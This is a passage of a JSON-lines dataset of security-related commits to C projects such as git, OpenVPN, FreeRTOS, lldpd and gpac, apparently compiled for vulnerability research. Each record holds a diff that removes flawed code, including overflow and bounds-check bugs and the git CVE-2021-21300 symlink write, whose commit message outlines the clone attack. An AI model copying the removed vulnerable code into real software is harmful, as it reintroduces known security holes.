null: unload plugin\n\nSigned-off-by: Richard W.M. Jones ", "patch": "@@ -204,8 +204,9 @@ extern int connection_set_status (struct connection *conn, int value)\n /* protocol-handshake.c */\n extern int protocol_handshake (struct connection *conn)\n __attribute__((__nonnull__ (1)));\n-extern int protocol_compute_eflags (struct connection *conn, uint16_t *flags)\n- __attribute__((__nonnull__ (1, 2)));\n+extern int protocol_common_open (struct connection *conn,\n+ uint64_t *exportsize, uint16_t *flags)\n+ __attribute__((__nonnull__ (1, 2, 3)));\n \n /* protocol-handshake-oldstyle.c */\n extern int protocol_handshake_oldstyle (struct connection *conn)", "sections": [{"section": "@@ -204,8 +204,9 @@ extern int connection_set_status (struct connection *conn, int value)\n /* protocol-handshake.c */\n extern int protocol_handshake (struct connection *conn)\n __attribute__((__nonnull__ (1)));\n-extern int protocol_compute_eflags (struct connection *conn, uint16_t *flags)\n- __attribute__((__nonnull__ (1, 2)));\n+extern int protocol_common_open (struct connection *conn,\n+ uint64_t *exportsize, uint16_t *flags)\n+ __attribute__((__nonnull__ (1, 2, 3)));\n \n /* protocol-handshake-oldstyle.c */\n extern int protocol_handshake_oldstyle (struct connection *conn)", "related": false}]} +{"owner": "lldpd", "repo": "lldpd", "language": "C", "file_name": "src/daemon/protocols/lldp.c", "commit_id": "a8d3c90feca548fc0656d95b5d278713db86ff61", "commit_message": "lldp: avoid memory leak from bad packets\n\nA packet that contains multiple instances of certain TLVs will cause\nlldpd to continually allocate memory and leak the old memory. As an\nexample, multiple instances of system name TLV will cause old values\nto be dropped by the decoding routine.\n\nReported-at: https://github.com/openvswitch/ovs/pull/337\nReported-by: Jonas Rudloff \nSigned-off-by: Aaron Conole ", "patch": "@@ -816,11 +816,16 @@ lldp_decode(struct lldpd *cfg, char *frame, int s,\n \t\t\t\tgoto malformed;\n \t\t\t}\n \t\t\tPEEK_BYTES(b, tlv_size);\n-\t\t\tif (tlv_type == LLDP_TLV_PORT_DESCR)\n+\t\t\tif (tlv_type == LLDP_TLV_PORT_DESCR) {\n+\t\t\t\tfree(port->p_descr);\n \t\t\t\tport->p_descr = b;\n-\t\t\telse if (tlv_type == LLDP_TLV_SYSTEM_NAME)\n+\t\t\t} else if (tlv_type == LLDP_TLV_SYSTEM_NAME) {\n+\t\t\t\tfree(chassis->c_name);\n \t\t\t\tchassis->c_name = b;\n-\t\t\telse chassis->c_descr = b;\n+\t\t\t} else {\n+\t\t\t\tfree(chassis->c_descr);\n+\t\t\t\tchassis->c_descr = b;\n+\t\t\t}\n \t\t\tbreak;\n \t\tcase LLDP_TLV_SYSTEM_CAP:\n \t\t\tCHECK_TLV_SIZE(4, \"System capabilities\");", "sections": [{"section": "@@ -816,11 +816,16 @@ lldp_decode(struct lldpd *cfg, char *frame, int s,\n \t\t\t\tgoto malformed;\n \t\t\t}\n \t\t\tPEEK_BYTES(b, tlv_size);\n-\t\t\tif (tlv_type == LLDP_TLV_PORT_DESCR)\n+\t\t\tif (tlv_type == LLDP_TLV_PORT_DESCR) {\n+\t\t\t\tfree(port->p_descr);\n \t\t\t\tport->p_descr = b;\n-\t\t\telse if (tlv_type == LLDP_TLV_SYSTEM_NAME)\n+\t\t\t} else if (tlv_type == LLDP_TLV_SYSTEM_NAME) {\n+\t\t\t\tfree(chassis->c_name);\n \t\t\t\tchassis->c_name = b;\n-\t\t\telse chassis->c_descr = b;\n+\t\t\t} else {\n+\t\t\t\tfree(chassis->c_descr);\n+\t\t\t\tchassis->c_descr = b;\n+\t\t\t}\n \t\t\tbreak;\n \t\tcase LLDP_TLV_SYSTEM_CAP:\n \t\t\tCHECK_TLV_SIZE(4, \"System capabilities\");", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-dir.c", "commit_id": "eb7946bb6248923d8c90fe9b84425fef97ae580d", "commit_message": "dir: Reserve the whole @@ prefix\n\nIf we add new features analogous to file forwarding later, we might\nfind that we need a different magic token. Let's reserve the whole\n@@* namespace so we can call it @@something-else.\n\nSigned-off-by: Simon McVittie \n(cherry picked from commit 1e7e8fdb24b51078f4c48e0711e24a14930ba1f0)", "patch": "@@ -7139,7 +7139,7 @@ export_desktop_file (const char *app,\n g_string_append_printf (new_exec, \" @@ %s @@\", arg);\n else if (strcasecmp (arg, \"%u\") == 0)\n g_string_append_printf (new_exec, \" @@u %s @@\", arg);\n- else if (strcmp (arg, \"@@\") == 0 || strcmp (arg, \"@@u\") == 0)\n+ else if (g_str_has_prefix (arg, \"@@\"))\n g_print (_(\"Skipping invalid Exec argument %s\\n\"), arg);\n else\n g_string_append_printf (new_exec, \" %s\", arg);", "sections": [{"section": "@@ -7139,7 +7139,7 @@ export_desktop_file (const char *app,\n g_string_append_printf (new_exec, \" @@ %s @@\", arg);\n else if (strcasecmp (arg, \"%u\") == 0)\n g_string_append_printf (new_exec, \" @@u %s @@\", arg);\n- else if (strcmp (arg, \"@@\") == 0 || strcmp (arg, \"@@u\") == 0)\n+ else if (g_str_has_prefix (arg, \"@@\"))\n g_print (_(\"Skipping invalid Exec argument %s\\n\"), arg);\n else\n g_string_append_printf (new_exec, \" %s\", arg);", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "symlinks.c", "commit_id": "684dd4c2b414bcf648505e74498a608f28de4592", "commit_message": "checkout: fix bug that makes checkout follow symlinks in leading path\n\nBefore checking out a file, we have to confirm that all of its leading\ncomponents are real existing directories. And to reduce the number of\nlstat() calls in this process, we cache the last leading path known to\ncontain only directories. However, when a path collision occurs (e.g.\nwhen checking out case-sensitive files in case-insensitive file\nsystems), a cached path might have its file type changed on disk,\nleaving the cache on an invalid state. Normally, this doesn't bring\nany bad consequences as we usually check out files in index order, and\ntherefore, by the time the cached path becomes outdated, we no longer\nneed it anyway (because all files in that directory would have already\nbeen written).\n\nBut, there are some users of the checkout machinery that do not always\nfollow the index order. In particular: checkout-index writes the paths\nin the same order that they appear on the CLI (or stdin); and the\ndelayed checkout feature -- used when a long-running filter process\nreplies with \"status=delayed\" -- postpones the checkout of some entries,\nthus modifying the checkout order.\n\nWhen we have to check out an out-of-order entry and the lstat() cache is\ninvalid (due to a previous path collision), checkout_entry() may end up\nusing the invalid data and thrusting that the leading components are\nreal directories when, in reality, they are not. In the best case\nscenario, where the directory was replaced by a regular file, the user\nwill get an error: \"fatal: unable to create file 'foo/bar': Not a\ndirectory\". But if the directory was replaced by a symlink, checkout\ncould actually end up following the symlink and writing the file at a\nwrong place, even outside the repository. Since delayed checkout is\naffected by this bug, it could be used by an attacker to write\narbitrary files during the clone of a maliciously crafted repository.\n\nSome candidate solutions considered were to disable the lstat() cache\nduring unordered checkouts or sort the entries before passing them to\nthe checkout machinery. But both ideas include some performance penalty\nand they don't future-proof the code against new unordered use cases.\n\nInstead, we now manually reset the lstat cache whenever we successfully\nremove a directory. Note: We are not even checking whether the directory\nwas the same as the lstat cache points to because we might face a\nscenario where the paths refer to the same location but differ due to\ncase folding, precomposed UTF-8 issues, or the presence of `..`\ncomponents in the path. Two regression tests, with case-collisions and\nutf8-collisions, are also added for both checkout-index and delayed\ncheckout.\n\nNote: to make the previously mentioned clone attack unfeasible, it would\nbe sufficient to reset the lstat cache only after the remove_subtree()\ncall inside checkout_entry(). This is the place where we would remove a\ndirectory whose path collides with the path of another entry that we are\ncurrently trying to check out (possibly a symlink). However, in the\ninterest of a thorough fix that does not leave Git open to\nsimilar-but-not-identical attack vectors, we decided to intercept\nall `rmdir()` calls in one fell swoop.\n\nThis addresses CVE-2021-21300.\n\nCo-authored-by: Johannes Schindelin \nSigned-off-by: Matheus Tavares ", "patch": "@@ -267,6 +267,13 @@ int has_dirs_only_path(const char *name, int len, int prefix_len)\n */\n static int threaded_has_dirs_only_path(struct cache_def *cache, const char *name, int len, int prefix_len)\n {\n+\t/*\n+\t * Note: this function is used by the checkout machinery, which also\n+\t * takes care to properly reset the cache when it performs an operation\n+\t * that would leave the cache outdated. If this function starts caching\n+\t * anything else besides FL_DIR, remember to also invalidate the cache\n+\t * when creating or deleting paths that might be in the cache.\n+\t */\n \treturn lstat_cache(cache, name, len,\n \t\t\t FL_DIR|FL_FULLPATH, prefix_len) &\n \t\tFL_DIR;\n@@ -321,3 +328,20 @@ void remove_scheduled_dirs(void)\n {\n \tdo_remove_scheduled_dirs(0);\n }\n+\n+void invalidate_lstat_cache(void)\n+{\n+\treset_lstat_cache(&default_cache);\n+}\n+\n+#undef rmdir\n+int lstat_cache_aware_rmdir(const char *path)\n+{\n+\t/* Any change in this function must be made also in `mingw_rmdir()` */\n+\tint ret = rmdir(path);\n+\n+\tif (!ret)\n+\t\tinvalidate_lstat_cache();\n+\n+\treturn ret;\n+}", "sections": [{"section": "@@ -267,6 +267,13 @@ int has_dirs_only_path(const char *name, int len, int prefix_len)\n */\n static int threaded_has_dirs_only_path(struct cache_def *cache, const char *name, int len, int prefix_len)\n {\n+\t/*\n+\t * Note: this function is used by the checkout machinery, which also\n+\t * takes care to properly reset the cache when it performs an operation\n+\t * that would leave the cache outdated. If this function starts caching\n+\t * anything else besides FL_DIR, remember to also invalidate the cache\n+\t * when creating or deleting paths that might be in the cache.\n+\t */\n \treturn lstat_cache(cache, name, len,\n \t\t\t FL_DIR|FL_FULLPATH, prefix_len) &\n \t\tFL_DIR;\n", "related": false}, {"section": "@@ -321,3 +328,20 @@ void remove_scheduled_dirs(void)\n {\n \tdo_remove_scheduled_dirs(0);\n }\n+\n+void invalidate_lstat_cache(void)\n+{\n+\treset_lstat_cache(&default_cache);\n+}\n+\n+#undef rmdir\n+int lstat_cache_aware_rmdir(const char *path)\n+{\n+\t/* Any change in this function must be made also in `mingw_rmdir()` */\n+\tint ret = rmdir(path);\n+\n+\tif (!ret)\n+\t\tinvalidate_lstat_cache();\n+\n+\treturn ret;\n+}", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick6", "language": "C", "file_name": "magick/thread-private.h", "commit_id": "53cb91b3e7bf95d0e372cbc745e0055ac6054745", "commit_message": "https://github.com/ImageMagick/ImageMagick/pull/3177", "patch": "@@ -69,9 +69,9 @@ static inline int GetMagickNumberThreads(const Image *source,\n (GetImagePixelCacheType(source) != MapCache)) ||\n ((GetImagePixelCacheType(destination) != MemoryCache) &&\n (GetImagePixelCacheType(destination) != MapCache)))\n- return(MagickMax(MagickMin(GetMagickResourceLimit(ThreadResource),2),1));\n- return(MagickMax(MagickMin((ssize_t) GetMagickResourceLimit(ThreadResource),\n- (ssize_t) (chunk)/64),1));\n+ return((int) MagickMax(MagickMin(GetMagickResourceLimit(ThreadResource),2),1));\n+ return((int) MagickMax(MagickMin((ssize_t) GetMagickResourceLimit(\n+ ThreadResource),(ssize_t) (chunk)/64),1));\n }\n \n static inline size_t GetMagickThreadSignature(void)", "sections": [{"section": "@@ -69,9 +69,9 @@ static inline int GetMagickNumberThreads(const Image *source,\n (GetImagePixelCacheType(source) != MapCache)) ||\n ((GetImagePixelCacheType(destination) != MemoryCache) &&\n (GetImagePixelCacheType(destination) != MapCache)))\n- return(MagickMax(MagickMin(GetMagickResourceLimit(ThreadResource),2),1));\n- return(MagickMax(MagickMin((ssize_t) GetMagickResourceLimit(ThreadResource),\n- (ssize_t) (chunk)/64),1));\n+ return((int) MagickMax(MagickMin(GetMagickResourceLimit(ThreadResource),2),1));\n+ return((int) MagickMax(MagickMin((ssize_t) GetMagickResourceLimit(\n+ ThreadResource),(ssize_t) (chunk)/64),1));\n }\n \n static inline size_t GetMagickThreadSignature(void)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/gpu/drm/nouveau/nouveau_vmm.h", "commit_id": "eeaf06ac1a5584e41cf289f8351e446bb131374b", "commit_message": "drm/nouveau/svm: initial support for shared virtual memory\n\nThis uses HMM to mirror a process' CPU page tables into a channel's page\ntables, and keep them synchronised so that both the CPU and GPU are able\nto access the same memory at the same virtual address.\n\nWhile this code also supports Volta/Turing, it's only enabled for Pascal\nGPUs currently due to channel recovery being unreliable right now on the\nlater GPUs.\n\nSigned-off-by: Ben Skeggs ", "patch": "@@ -25,6 +25,7 @@ void nouveau_vma_unmap(struct nouveau_vma *);\n struct nouveau_vmm {\n \tstruct nouveau_cli *cli;\n \tstruct nvif_vmm vmm;\n+\tstruct nouveau_svmm *svmm;\n };\n \n int nouveau_vmm_init(struct nouveau_cli *, s32 oclass, struct nouveau_vmm *);", "sections": [{"section": "@@ -25,6 +25,7 @@ void nouveau_vma_unmap(struct nouveau_vma *);\n struct nouveau_vmm {\n \tstruct nouveau_cli *cli;\n \tstruct nvif_vmm vmm;\n+\tstruct nouveau_svmm *svmm;\n };\n \n int nouveau_vmm_init(struct nouveau_cli *, s32 oclass, struct nouveau_vmm *);", "related": false}]} +{"owner": "openvpn", "repo": "openvpn", "language": "C", "file_name": "src/openvpn/ssl_verify.c", "commit_id": "3aca477a1b58714754fea3a26d0892fffc51db6b", "commit_message": "Move auth_token_state from multi to key_state\n\nThe auth-token check is tied to the username/password that is coming\nvia a specific SSL session, so keep the state also in the key_state\nstructure.\n\nThis also ensures the auth_token_state is always set to 0 on a new\nsession since we clear the key_state object at the start of a new\nSSL session.\n\nThis is a prerequisite patch to fix 2020-15078 in the following two\ncommits.\n\n2nd patch, squashed into the first one:\n\nThis also applies the changes to the auth_token_test.c. The change of\ntls_session to a pointer is necessary since before that we had tls_session\nnot tied to the multi and had two tls_session used in the test. One\nimplicitly in tls_multi and one explicit one. Merge these to one.\n\nCVE: 2020-15078\nSigned-off-by: Arne Schwabe \nAcked-by: Antonio Quartulli \nMessage-Id: \nURL: non-public, embargoed\nSigned-off-by: Gert Doering ", "patch": "@@ -1269,7 +1269,7 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n */\n if (session->opt->auth_token_generate && is_auth_token(up->password))\n {\n- multi->auth_token_state_flags = verify_auth_token(up, multi, session);\n+ ks->auth_token_state_flags = verify_auth_token(up, multi, session);\n if (session->opt->auth_token_call_auth)\n {\n /*\n@@ -1278,7 +1278,7 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n * decide what to do with the result\n */\n }\n- else if (multi->auth_token_state_flags == AUTH_TOKEN_HMAC_OK)\n+ else if (ks->auth_token_state_flags == AUTH_TOKEN_HMAC_OK)\n {\n /*\n * We do not want the EXPIRED or EMPTY USER flags here so check\n@@ -1373,8 +1373,8 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n * the initial timestamp and session id can be extracted from it\n */\n if (!multi->auth_token\n- && (multi->auth_token_state_flags & AUTH_TOKEN_HMAC_OK)\n- && !(multi->auth_token_state_flags & AUTH_TOKEN_EXPIRED))\n+ && (ks->auth_token_state_flags & AUTH_TOKEN_HMAC_OK)\n+ && !(ks->auth_token_state_flags & AUTH_TOKEN_EXPIRED))\n {\n multi->auth_token = strdup(up->password);\n }", "sections": [{"section": "@@ -1269,7 +1269,7 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n */\n if (session->opt->auth_token_generate && is_auth_token(up->password))\n {\n- multi->auth_token_state_flags = verify_auth_token(up, multi, session);\n+ ks->auth_token_state_flags = verify_auth_token(up, multi, session);\n if (session->opt->auth_token_call_auth)\n {\n /*\n", "related": false}, {"section": "@@ -1278,7 +1278,7 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n * decide what to do with the result\n */\n }\n- else if (multi->auth_token_state_flags == AUTH_TOKEN_HMAC_OK)\n+ else if (ks->auth_token_state_flags == AUTH_TOKEN_HMAC_OK)\n {\n /*\n * We do not want the EXPIRED or EMPTY USER flags here so check\n", "related": false}, {"section": "@@ -1373,8 +1373,8 @@ verify_user_pass(struct user_pass *up, struct tls_multi *multi,\n * the initial timestamp and session id can be extracted from it\n */\n if (!multi->auth_token\n- && (multi->auth_token_state_flags & AUTH_TOKEN_HMAC_OK)\n- && !(multi->auth_token_state_flags & AUTH_TOKEN_EXPIRED))\n+ && (ks->auth_token_state_flags & AUTH_TOKEN_HMAC_OK)\n+ && !(ks->auth_token_state_flags & AUTH_TOKEN_EXPIRED))\n {\n multi->auth_token = strdup(up->password);\n }", "related": false}]} +{"owner": "freertos", "repo": "freertos-kernel", "language": "C", "file_name": "portable/MemMang/heap_4.c", "commit_id": "c7a9a01c94987082b223d3e59969ede64363da63", "commit_message": "Improve heap2 bounds checking (#224)\n\n* Improve heap bounds checking in pvPortMalloc", "patch": "@@ -136,34 +136,42 @@ void * pvPortMalloc( size_t xWantedSize )\n * kernel, so it must be free. */\r\n if( ( xWantedSize & xBlockAllocatedBit ) == 0 )\r\n {\r\n- /* The wanted size is increased so it can contain a BlockLink_t\r\n+ /* The wanted size must be increased so it can contain a BlockLink_t\r\n * structure in addition to the requested amount of bytes. */\r\n- if( xWantedSize > 0 )\r\n+ if( ( xWantedSize > 0 ) && \r\n+ ( ( xWantedSize + xHeapStructSize ) > xWantedSize ) ) /* Overflow check */\r\n {\r\n xWantedSize += xHeapStructSize;\r\n \r\n- /* Ensure that blocks are always aligned to the required number\r\n- * of bytes. */\r\n+ /* Ensure that blocks are always aligned. */\r\n if( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) != 0x00 )\r\n {\r\n- /* Byte alignment required. */\r\n- xWantedSize += ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) );\r\n- configASSERT( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) == 0 );\r\n+ /* Byte alignment required. Check for overflow. */\r\n+ if( ( xWantedSize + ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) ) ) \r\n+ > xWantedSize )\r\n+ {\r\n+ xWantedSize += ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) );\r\n+ configASSERT( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) == 0 );\r\n+ }\r\n+ else\r\n+ {\r\n+ xWantedSize = 0;\r\n+ } \r\n }\r\n else\r\n {\r\n mtCOVERAGE_TEST_MARKER();\r\n }\r\n- }\r\n- else\r\n+ } \r\n+ else \r\n {\r\n- mtCOVERAGE_TEST_MARKER();\r\n+ xWantedSize = 0;\r\n }\r\n \r\n if( ( xWantedSize > 0 ) && ( xWantedSize <= xFreeBytesRemaining ) )\r\n {\r\n /* Traverse the list from the start\t(lowest address) block until\r\n- * one\tof adequate size is found. */\r\n+ * one of adequate size is found. */\r\n pxPreviousBlock = &xStart;\r\n pxBlock = xStart.pxNextFreeBlock;\r\n \r\n@@ -174,7 +182,7 @@ void * pvPortMalloc( size_t xWantedSize )\n }\r\n \r\n /* If the end marker was reached then a block of adequate size\r\n- * was\tnot found. */\r\n+ * was not found. */\r\n if( pxBlock != pxEnd )\r\n {\r\n /* Return the memory space pointed to - jumping over the\r", "sections": [{"section": "@@ -136,34 +136,42 @@ void * pvPortMalloc( size_t xWantedSize )\n * kernel, so it must be free. */\r\n if( ( xWantedSize & xBlockAllocatedBit ) == 0 )\r\n {\r\n- /* The wanted size is increased so it can contain a BlockLink_t\r\n+ /* The wanted size must be increased so it can contain a BlockLink_t\r\n * structure in addition to the requested amount of bytes. */\r\n- if( xWantedSize > 0 )\r\n+ if( ( xWantedSize > 0 ) && \r\n+ ( ( xWantedSize + xHeapStructSize ) > xWantedSize ) ) /* Overflow check */\r\n {\r\n xWantedSize += xHeapStructSize;\r\n \r\n- /* Ensure that blocks are always aligned to the required number\r\n- * of bytes. */\r\n+ /* Ensure that blocks are always aligned. */\r\n if( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) != 0x00 )\r\n {\r\n- /* Byte alignment required. */\r\n- xWantedSize += ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) );\r\n- configASSERT( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) == 0 );\r\n+ /* Byte alignment required. Check for overflow. */\r\n+ if( ( xWantedSize + ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) ) ) \r\n+ > xWantedSize )\r\n+ {\r\n+ xWantedSize += ( portBYTE_ALIGNMENT - ( xWantedSize & portBYTE_ALIGNMENT_MASK ) );\r\n+ configASSERT( ( xWantedSize & portBYTE_ALIGNMENT_MASK ) == 0 );\r\n+ }\r\n+ else\r\n+ {\r\n+ xWantedSize = 0;\r\n+ } \r\n }\r\n else\r\n {\r\n mtCOVERAGE_TEST_MARKER();\r\n }\r\n- }\r\n- else\r\n+ } \r\n+ else \r\n {\r\n- mtCOVERAGE_TEST_MARKER();\r\n+ xWantedSize = 0;\r\n }\r\n \r\n if( ( xWantedSize > 0 ) && ( xWantedSize <= xFreeBytesRemaining ) )\r\n {\r\n /* Traverse the list from the start\t(lowest address) block until\r\n- * one\tof adequate size is found. */\r\n+ * one of adequate size is found. */\r\n pxPreviousBlock = &xStart;\r\n pxBlock = xStart.pxNextFreeBlock;\r\n \r\n", "related": false}, {"section": "@@ -174,7 +182,7 @@ void * pvPortMalloc( size_t xWantedSize )\n }\r\n \r\n /* If the end marker was reached then a block of adequate size\r\n- * was\tnot found. */\r\n+ * was not found. */\r\n if( pxBlock != pxEnd )\r\n {\r\n /* Return the memory space pointed to - jumping over the\r", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/isom_store.c", "commit_id": "5aba27604d957e960d8069d85ccaf868f8a7b07a", "commit_message": "fixed #1661", "patch": "@@ -102,6 +102,9 @@ void CleanWriters(GF_List *writers)\n {\n \twhile (gf_list_count(writers)) {\n \t\tTrackWriter *writer = (TrackWriter*)gf_list_get(writers, 0);\n+\t\t//in case we have an error in the middle of file write, remove our created stco and stsc from sample table\n+\t\tgf_list_del_item(writer->stbl->child_boxes, writer->stco);\n+\t\tgf_list_del_item(writer->stbl->child_boxes, writer->stsc);\n \t\tgf_isom_box_del(writer->stco);\n \t\tgf_isom_box_del((GF_Box *)writer->stsc);\n \t\tgf_free(writer);", "sections": [{"section": "@@ -102,6 +102,9 @@ void CleanWriters(GF_List *writers)\n {\n \twhile (gf_list_count(writers)) {\n \t\tTrackWriter *writer = (TrackWriter*)gf_list_get(writers, 0);\n+\t\t//in case we have an error in the middle of file write, remove our created stco and stsc from sample table\n+\t\tgf_list_del_item(writer->stbl->child_boxes, writer->stco);\n+\t\tgf_list_del_item(writer->stbl->child_boxes, writer->stsc);\n \t\tgf_isom_box_del(writer->stco);\n \t\tgf_isom_box_del((GF_Box *)writer->stsc);\n \t\tgf_free(writer);", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/media_tools/av_parsers.c", "commit_id": "51cdb67ff7c5f1242ac58c5aa603ceaf1793b788", "commit_message": "add safety in avc/hevc/vvc sps/pps/vps ID check - cf #1720 #1721 #1722", "patch": "@@ -5115,10 +5115,7 @@ static s32 gf_avc_read_sps_bs_internal(GF_BitStream *bs, AVCState *avc, u32 subs\n \tby subset SPS. According to the SVC standard, subset SPS can have the same sps_id\n \tthan its base layer, but it does not refer to the same SPS. */\n \tsps_id = gf_bs_read_ue_log(bs, \"sps_id\") + GF_SVC_SSPS_ID_SHIFT * subseq_sps;\n-\tif (sps_id >= 32) {\n-\t\treturn -1;\n-\t}\n-\tif (sps_id < 0) {\n+\tif ((sps_id < 0) || (sps_id >= 32)) {\n \t\treturn -1;\n \t}\n \n@@ -5447,15 +5444,15 @@ static s32 gf_avc_read_pps_bs_internal(GF_BitStream *bs, AVCState *avc, u32 nal_\n \t\tgf_bs_read_int_log(bs, 5, \"nal_unit_type\");\n \t}\n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 255) {\n+\tif ((pps_id<0) || (pps_id >= 255)) {\n \t\treturn -1;\n \t}\n \tpps = &avc->pps[pps_id];\n \tpps->id = pps_id;\n \n \tif (!pps->status) pps->status = 1;\n \tpps->sps_id = gf_bs_read_ue_log(bs, \"sps_id\");\n-\tif (pps->sps_id >= 32) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 32)) {\n \t\tpps->sps_id = 0;\n \t\treturn -1;\n \t}\n@@ -6843,7 +6840,7 @@ s32 hevc_parse_slice_segment(GF_BitStream *bs, HEVCState *hevc, HEVCSliceInfo *s\n \t}\n \n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 64)\n+\tif ((pps_id<0) || (pps_id >= 64))\n \t\treturn -1;\n \n \tpps = &hevc->pps[pps_id];\n@@ -7666,7 +7663,7 @@ static s32 gf_hevc_read_vps_bs_internal(GF_BitStream *bs, HEVCState *hevc, Bool\n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n \n-\tif (vps_id >= 16) return -1;\n+\tif ((vps_id<0) || (vps_id >= 16)) return -1;\n \n \tvps = &hevc->vps[vps_id];\n \tvps->bit_pos_vps_extensions = -1;\n@@ -7895,7 +7892,7 @@ static s32 gf_hevc_read_sps_bs_internal(GF_BitStream *bs, HEVCState *hevc, u8 la\n \n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) {\n+\tif ((vps_id<0) || (vps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tmemset(&ptl, 0, sizeof(ptl));\n@@ -8210,7 +8207,7 @@ static s32 gf_hevc_read_pps_bs_internal(GF_BitStream *bs, HEVCState *hevc)\n \t\tpps->state = 1;\n \t}\n \tpps->sps_id = gf_bs_read_ue_log(bs, \"sps_id\");\n-\tif (pps->sps_id >= 16) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 16)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[HEVC] wrong SPS ID %d in PPS\\n\", pps->sps_id));\n \t\tpps->sps_id=0;\n \t\treturn -1;\n@@ -9360,7 +9357,7 @@ static s32 gf_media_vvc_read_vps_bs_internal(GF_BitStream *bs, VVCState *vvc, Bo\n \n \t//nalu header already parsed\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) return -1;\n+\tif ((vps_id<0) || (vps_id >= 16)) return -1;\n \tif (!vps_id) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[VVC] VPS ID 0 is forbidden\\n\"));\n \t\treturn -1;\n@@ -9451,11 +9448,11 @@ static s32 gf_media_vvc_read_sps_bs_internal(GF_BitStream *bs, VVCState *vvc, u8\n \tif (vui_flag_pos) *vui_flag_pos = 0;\n \n \tsps_id = gf_bs_read_int_log(bs, 4, \"sps_id\");\n-\tif (sps_id >= 16) {\n+\tif ((sps_id<0) || (sps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tvps_id = gf_bs_read_int_log(bs, 4, \"vps_id\");\n-\tif (vps_id >= 16) {\n+\tif ((vps_id<0) || (vps_id >= 16)) {\n \t\treturn -1;\n \t}\n \tif (!vps_id && !vvc->vps[0].state) {\n@@ -9657,7 +9654,7 @@ static s32 gf_media_vvc_read_pps_bs_internal(GF_BitStream *bs, VVCState *vvc)\n \t\tpps->state = 1;\n \t}\n \tpps->sps_id = gf_bs_read_int_log(bs, 4, \"sps_id\");\n-\tif (pps->sps_id >= 16) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 16)) {\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CODING, (\"[VVC] wrong SPS ID %d in PPS\\n\", pps->sps_id));\n \t\tpps->sps_id=0;\n \t\treturn -1;\n@@ -9725,7 +9722,7 @@ s32 vvc_parse_picture_header(GF_BitStream *bs, VVCState *vvc, VVCSliceInfo *si)\n \t\tsi->intra_slice_allowed_flag = gf_bs_read_int_log(bs, 1, \"intra_slice_allowed_flag\");\n \n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 64)\n+\tif ((pps_id<0) || (pps_id >= 64))\n \t\treturn -1;\n \tsi->pps = &vvc->pps[pps_id];\n \tsi->sps = &vvc->sps[si->pps->sps_id];", "sections": [{"section": "@@ -5115,10 +5115,7 @@ static s32 gf_avc_read_sps_bs_internal(GF_BitStream *bs, AVCState *avc, u32 subs\n \tby subset SPS. According to the SVC standard, subset SPS can have the same sps_id\n \tthan its base layer, but it does not refer to the same SPS. */\n \tsps_id = gf_bs_read_ue_log(bs, \"sps_id\") + GF_SVC_SSPS_ID_SHIFT * subseq_sps;\n-\tif (sps_id >= 32) {\n-\t\treturn -1;\n-\t}\n-\tif (sps_id < 0) {\n+\tif ((sps_id < 0) || (sps_id >= 32)) {\n \t\treturn -1;\n \t}\n \n", "related": false}, {"section": "@@ -5447,15 +5444,15 @@ static s32 gf_avc_read_pps_bs_internal(GF_BitStream *bs, AVCState *avc, u32 nal_\n \t\tgf_bs_read_int_log(bs, 5, \"nal_unit_type\");\n \t}\n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 255) {\n+\tif ((pps_id<0) || (pps_id >= 255)) {\n \t\treturn -1;\n \t}\n \tpps = &avc->pps[pps_id];\n \tpps->id = pps_id;\n \n \tif (!pps->status) pps->status = 1;\n \tpps->sps_id = gf_bs_read_ue_log(bs, \"sps_id\");\n-\tif (pps->sps_id >= 32) {\n+\tif ((pps->sps_id<0) || (pps->sps_id >= 32)) {\n \t\tpps->sps_id = 0;\n \t\treturn -1;\n \t}\n", "related": false}, {"section": "@@ -6843,7 +6840,7 @@ s32 hevc_parse_slice_segment(GF_BitStream *bs, HEVCState *hevc, HEVCSliceInfo *s\n \t}\n \n \tpps_id = gf_bs_read_ue_log(bs, \"pps_id\");\n-\tif (pps_id >= 64)\n+\tif ((pps_id<0) || (pps_id >= 64))\n \t\treturn -1;\n \n \tpps = &hevc->pps[pps_id];\n", "related": false}, {"section": "@@ 